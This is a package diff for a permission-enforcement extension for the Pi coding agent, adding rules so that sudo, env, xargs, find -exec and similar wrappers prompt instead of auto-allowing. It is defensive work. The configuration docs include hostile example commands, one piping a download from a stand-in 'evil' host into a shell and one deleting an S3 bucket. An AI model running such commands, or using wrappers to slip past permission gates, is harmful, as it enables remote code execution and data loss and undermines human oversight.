@gotgenes/pi-permission-system 20.4.0 → 20.4.1

package/CHANGELOG.md

@@ -5,6 +5,19 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [20.4.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.4.0...pi-permission-system-v20.4.1) (2026-07-12)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** floor find/fd exec wrappers to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([6cb1d54](https://github.com/gotgenes/pi-packages/commit/6cb1d5422682894a3f742af9b4769d8ef8c40ed8))
+* **pi-permission-system:** floor sudo/env/xargs/time/nohup/timeout/nice to ask ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([b4d5c40](https://github.com/gotgenes/pi-packages/commit/b4d5c40985e4921d3ab1037ba3b273b6fa2fbd59))
+
+
+### Documentation
+
+* **pi-permission-system:** document indirection-wrapper floor and mark roadmap step 5 ([#490](https://github.com/gotgenes/pi-packages/issues/490)) ([e35c1ee](https://github.com/gotgenes/pi-packages/commit/e35c1ee622f847a9096699495502e36064cae96e))
+
 ## [20.4.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.3.0...pi-permission-system-v20.4.0) (2026-07-12)
 
 

package/README.md

@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
 - **Gates MCP and skill access** at server, tool, and skill-name granularity
 - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
 - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
-- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an opaque `bash -c`/`eval` wrapper — prompts (`ask`) rather than passing silently
+- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently
 - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
 - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI
 - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration

package/docs/configuration.md

@@ -271,6 +271,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
 - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
   An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
   So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
+- An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
+  So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
+  As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
 
 Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
 A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gotgenes/pi-permission-system",
-  "version": "20.4.0",
+  "version": "20.4.1",
   "description": "Permission enforcement extension for the Pi coding agent.",
   "type": "module",
   "exports": {

package/src/access-intent/bash/command-enumeration.ts

@@ -11,6 +11,16 @@ import type { BashCommandContext } from "#src/types";
  * The type is the stable extension point: #306 adds an execution `context`,
  * #307 adds per-command path candidates and an effective working directory.
  */
+/**
+ * Why a command unit's decision is floored to at least `ask`.
+ * `"opaque-payload"` — an inline-shell payload (`bash -c`/`eval`) whose inner
+ * program is not re-parsed (#481).
+ * `"indirection"` — a prefix/exec wrapper (`sudo`/`env`/`xargs`/`find -exec`/…)
+ * whose inner command is a visible argument but is not gated on its own (#490).
+ * The kind selects the audit sentinel; both floor identically.
+ */
+export type WrapperKind = "opaque-payload" | "indirection";
+
 export interface BashCommand {
   readonly text: string;
   /**
@@ -19,11 +29,11 @@ export interface BashCommand {
    */
   readonly context?: BashCommandContext;
   /**
-   * True when this is an opaque-payload wrapper (`bash -c`/`eval`) whose inner
-   * program is not re-parsed; its decision is floored to at least `ask` so it
-   * cannot ride a permissive `allow`.
+   * Set when this unit is a floored indirection wrapper; its decision is floored
+   * to at least `ask` so the wrapped command cannot ride a permissive `allow`.
+   * Absent for an ordinary command.
    */
-  readonly opaque?: boolean;
+  readonly wrapperKind?: WrapperKind;
 }
 
 // ── Command enumeration ──────────────────────────────────────────────────────
@@ -83,7 +93,9 @@ const NESTED_EXECUTION_CONTEXTS = new Map<string, BashCommandContext>([
  * nested units can only ever produce a more-restrictive decision, never weaker.
  *
  * Each emitted command unit has any leading `variable_assignment` prefix
- * stripped (so an env-var prefix cannot defeat a command-pattern rule).
+ * stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
+ * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
+ * tagged with a {@link WrapperKind} so its decision is later floored to `ask`.
  */
 export function collectCommands(node: TSNode): BashCommand[] {
   const out: BashCommand[] = [];
@@ -103,7 +115,7 @@ function collectCommandsInto(
 
   if (node.type === "command") {
     out.push(
-      makeUnit(commandUnitText(node), context, isOpaqueWrapperCommand(node)),
+      makeUnit(commandUnitText(node), context, classifyWrapperCommand(node)),
     );
     // A command's text already contains any substitution; descend its subtree
     // to ALSO emit the inner commands of command/process substitutions.
@@ -130,10 +142,10 @@ function collectCommandsInto(
 function makeUnit(
   text: string,
   context: BashCommandContext | undefined,
-  opaque = false,
+  wrapperKind?: WrapperKind,
 ): BashCommand {
   const unit: BashCommand = context ? { text, context } : { text };
-  return opaque ? { ...unit, opaque } : unit;
+  return wrapperKind ? { ...unit, wrapperKind } : unit;
 }
 
 /**
@@ -142,18 +154,71 @@ function makeUnit(
 const SHELL_WRAPPER_NAMES = new Set(["bash", "sh", "dash", "zsh", "ksh"]);
 
 /**
- * True when a `command` node is an opaque-payload wrapper: a shell
- * (`bash`/`sh`/`dash`/`zsh`/`ksh`) invoked with a `-c` flag, or `eval`. Its
- * inner program is a quoted argument the enumerator does not re-parse, so the
- * wrapper's decision is later floored to at least `ask`.
+ * Indirection wrappers that always invoke a following command, so the wrapper
+ * (not the inner command) is what a bash rule matches. Floored by command-name
+ * basename alone. Extend this set to cover another always-invoking wrapper.
+ */
+const INDIRECTION_WRAPPER_NAMES = new Set([
+  "sudo",
+  "env",
+  "xargs",
+  "time",
+  "nohup",
+  "timeout",
+  "nice",
+]);
+
+/**
+ * Search tools that invoke a command per result only when an exec flag is
+ * present; a bare search runs no subcommand. Floored only when an argument
+ * exactly matches one of the tool's exec flags. Extend by adding a tool with
+ * its exec-flag set.
+ */
+const EXEC_CONDITIONAL_WRAPPERS = new Map<string, ReadonlySet<string>>([
+  ["find", new Set(["-exec", "-execdir", "-ok", "-okdir"])],
+  ["fd", new Set(["-x", "--exec", "-X", "--exec-batch"])],
+]);
+
+/**
+ * Classify a `command` node as a floored wrapper, or `undefined` for an
+ * ordinary command. Reads only the node's own named children (a shallow walk),
+ * skipping any leading `variable_assignment` prefix, and matches the command
+ * name on its basename (so `/bin/bash -c …` counts).
  *
- * The command name is matched on its basename (so `/bin/bash -c …` counts), and
- * a `-c` flag is recognized within a short-flag cluster (`-c`, `-ec`, `-xc`).
- * A leading `variable_assignment` prefix is skipped, matching `commandUnitText`.
+ * `"opaque-payload"`: `eval`, or a shell (`bash`/`sh`/`dash`/`zsh`/`ksh`) with a
+ * `-c` short-flag cluster (`-c`, `-ec`, `-xc`) — the inner program is a quoted
+ * argument the enumerator does not re-parse (#481).
+ *
+ * `"indirection"`: an always-invoking prefix/exec wrapper
+ * (`INDIRECTION_WRAPPER_NAMES`), or a search tool (`EXEC_CONDITIONAL_WRAPPERS`,
+ * `find`/`fd`) carrying a per-result exec flag — the inner command is a visible
+ * argument that a `<cmd> *` rule would otherwise never match (#490). A bare
+ * `find`/`fd` search runs no subcommand and is not flagged.
+ */
+function classifyWrapperCommand(node: TSNode): WrapperKind | undefined {
+  const { commandName, args } = readWrapperCommand(node);
+  if (commandName === undefined) return undefined;
+  if (commandName === "eval") return "opaque-payload";
+  if (SHELL_WRAPPER_NAMES.has(commandName) && hasShortFlagC(args)) {
+    return "opaque-payload";
+  }
+  if (INDIRECTION_WRAPPER_NAMES.has(commandName)) return "indirection";
+  const execFlags = EXEC_CONDITIONAL_WRAPPERS.get(commandName);
+  if (execFlags && args.some((arg) => execFlags.has(arg))) return "indirection";
+  return undefined;
+}
+
+/**
+ * A `command` node's name basename and its argument texts, skipping any leading
+ * `variable_assignment` prefix (matching `commandUnitText`). `commandName` is
+ * `undefined` for a pure assignment with no `command_name`.
  */
-function isOpaqueWrapperCommand(node: TSNode): boolean {
+function readWrapperCommand(node: TSNode): {
+  commandName: string | undefined;
+  args: string[];
+} {
   let commandName: string | undefined;
-  let sawShortFlagC = false;
+  const args: string[] = [];
   for (let i = 0; i < node.childCount; i++) {
     const child = node.child(i);
     if (!child?.isNamed) continue;
@@ -162,15 +227,24 @@ function isOpaqueWrapperCommand(node: TSNode): boolean {
       commandName = basename(child.text);
       continue;
     }
-    const text = child.text;
-    if (text === "--") break;
-    if (text.startsWith("-") && !text.startsWith("--") && text.includes("c")) {
-      sawShortFlagC = true;
+    args.push(child.text);
+  }
+  return { commandName, args };
+}
+
+/**
+ * True when an argument list has a short-flag cluster containing `c` before any
+ * `--` end-of-options marker (`-c`, `-ec`, `-xc`) — the inline-shell payload
+ * flag for `bash`/`sh`/`dash`/`zsh`/`ksh`.
+ */
+function hasShortFlagC(args: string[]): boolean {
+  for (const arg of args) {
+    if (arg === "--") return false;
+    if (arg.startsWith("-") && !arg.startsWith("--") && arg.includes("c")) {
+      return true;
     }
   }
-  if (commandName === undefined) return false;
-  if (commandName === "eval") return true;
-  return SHELL_WRAPPER_NAMES.has(commandName) && sawShortFlagC;
+  return false;
 }
 
 /** The final path segment of a command name (`/bin/bash` → `bash`). */

package/src/access-intent/bash/program.ts

@@ -75,9 +75,9 @@ export class BashProgram {
    * Splits on the shell chain operators (`&&`, `||`, `;`, `|`, `&`, newlines);
    * quotes, command substitution, and subshells are respected by the parser and
    * are NOT split — a subshell or other compound statement is emitted whole.
-   * Each unit has any leading `variable_assignment` prefix stripped, and an
-   * opaque-payload wrapper (`bash -c`/`eval`) is flagged `opaque` so its decision
-   * is floored to `ask`.
+   * Each unit has any leading `variable_assignment` prefix stripped, and a
+   * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
+   * tagged with a `wrapperKind` so its decision is floored to `ask`.
    * May be empty (e.g. an empty command or a comment-only line); callers fall
    * back to the whole command so the surface is never evaluated weaker than
    * before.

package/src/handlers/gates/bash-command.ts

@@ -1,4 +1,7 @@
-import type { BashCommand } from "#src/access-intent/bash/command-enumeration";
+import type {
+  BashCommand,
+  WrapperKind,
+} from "#src/access-intent/bash/command-enumeration";
 import { pickMostRestrictive } from "#src/handlers/gates/candidate-check";
 import type { ScopedPermissionResolver } from "#src/permission-resolver";
 import type { PermissionCheckResult } from "#src/types";
@@ -19,11 +22,13 @@ import type { PermissionCheckResult } from "#src/types";
  * `commandContext` (set only for a nested command), so the prompt,
  * session-approval suggestion, and decision event scope to that command.
  *
- * An opaque-payload wrapper unit (`bash -c`/`eval`, flagged `opaque` by the
- * enumerator) has its inner program hidden behind a quoted argument, so an
- * `allow` is floored up to a synthetic `ask` (the `<opaque-bash-wrapper>`
- * pattern) to keep it from riding a permissive rule; an explicit `deny`/`ask`
- * on the wrapper is left untouched (`deny > ask > allow`).
+ * A wrapper unit (flagged with a `wrapperKind` by the enumerator) hides or
+ * indirects the command that should be gated, so an `allow` is floored up to a
+ * synthetic `ask` — the `<opaque-bash-wrapper>` pattern for an inline-shell
+ * payload (`bash -c`/`eval`, #481) or `<indirection-bash-wrapper>` for a
+ * prefix/exec wrapper (`sudo`/`env`/`xargs`/`find -exec`/…, #490) — to keep it
+ * from riding a permissive rule; an explicit `deny`/`ask` on the wrapper is left
+ * untouched (`deny > ask > allow`).
  *
  * When `commands` is empty there are two cases. A trivially-empty command (an
  * empty, whitespace-only, or comment-only line) has genuinely nothing to gate,
@@ -36,6 +41,15 @@ import type { PermissionCheckResult } from "#src/types";
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
  * handler, which passes the decomposed `commands` here.
  */
+/**
+ * The synthetic `matchedPattern` recorded when a wrapper unit's `allow` is
+ * floored to `ask`, keyed by the wrapper kind that caused the floor.
+ */
+const WRAPPER_SENTINEL: Record<WrapperKind, string> = {
+  "opaque-payload": "<opaque-bash-wrapper>",
+  indirection: "<indirection-bash-wrapper>",
+};
+
 export function resolveBashCommandCheck(
   command: string,
   commands: BashCommand[],
@@ -69,11 +83,11 @@ export function resolveBashCommandCheck(
       agentName,
     });
     const result =
-      cmd.opaque && base.state === "allow"
+      cmd.wrapperKind && base.state === "allow"
         ? {
             ...base,
             state: "ask" as const,
-            matchedPattern: "<opaque-bash-wrapper>",
+            matchedPattern: WRAPPER_SENTINEL[cmd.wrapperKind],
           }
         : base;
     return cmd.context ? { ...result, commandContext: cmd.context } : result;